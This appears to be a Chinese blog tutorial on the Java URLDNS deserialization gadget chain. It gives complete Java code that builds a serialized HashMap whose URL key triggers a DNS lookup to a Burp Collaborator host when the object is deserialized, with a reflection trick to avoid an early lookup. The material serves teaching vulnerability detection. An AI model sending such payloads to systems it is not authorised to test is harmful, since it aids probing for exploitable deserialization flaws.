URLDNS利用链
原理
Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:
- [1] 只能发起 DNS 请求,不能进行其它利用。
- [2] 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
- [3] 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。
过程分析
需要发起Http请求,Java中URL类与Http请求相关并且URL类实现了Serializable
接口,URL类中是通过调用openConnection
方法实现。
跟进返回中的openConnection
可以看到返回的是URLConnection
对象。
继续跟进URLConnection
,发现是一个抽象类,接着查看实现这个抽象类的类,发现是不可序列化的,那么这条链不可用。
但是发现URL这个类中存在hashCode()
函数可以利用。
跟进handler.hashCode
函数,发现这个函数中使用了getHostAddress()
函数,而getHostAddress()
函数可以根据域名获得主机IP地址。
至此,我们可以通过调用hashCode()
函数中的getHostAddress()
来实现反序列化。
而HashMap
类中重写了readObject
方法,其中调用了hash()
函数,hash()
函数中也调用了hashCode()
函数。
如此一来,当我们构造出一个HashMap
对象,并向这个对象的键中传入URL
,那么在反序列化时,这个URL
会被读为key
接着传入hash()
函数中,在hash()
函数中调用hashCode()
,这样就调用了一个URL
对象的hashCode()
函数。
接下来构造利用代码:
package org.example; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.URL; import java.util.HashMap; public class SerializationTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); hashMap.put(new URL("http://v95hskl5p6aksnq95w4sydb2vt1jp8.burpcollaborator.net"),1); serialize(hashMap); } }
其中,URL链接使用burpsuite生成:
构造完代码之后,运行序列化代码。
此时发现,在我们还没有反序列化时就已经收到了DNS请求,这是因为在使用put()
函数的时候,在put()
函数中已经调用了hash()
函数,进而调用了hashCode()
函数。
想到之前我们在URL
的hashCode()
函数中看到当hashCode != -1
时就不会调用hashCode()
函数,而在我们进行完put
操作之后hashCode != -1
,所以在反序列化时就不会再执行hashCode()
函数了。
想要在反序列化时调用hashCode()
就需要在put
操作之前使得hashCode
不等于-1,put
操作之后将hashCode
再改回-1。要改变一个已经生成对象中的值就需要使用Java的反射技术。
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class SerializationTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL("http://rzu085lu0ds2w583u7jglucds4yumj.burpcollaborator.net"); Class c = url.getClass(); Field hashcodeField = c.getDeclaredField("hashCode"); hashcodeField.setAccessible(true); hashcodeField.set(url, 1); hashMap.put(url, 1); hashcodeField.set(url, -1); serialize(hashMap); } }
这样再进行序列化的时候就收不到DNS请求了,然后进行反序列化,可以看到在反序列化时收到了请求。
反序列化操作:
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception { unserialize("ser.bin"); } }
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
2020-02-26 汇编基础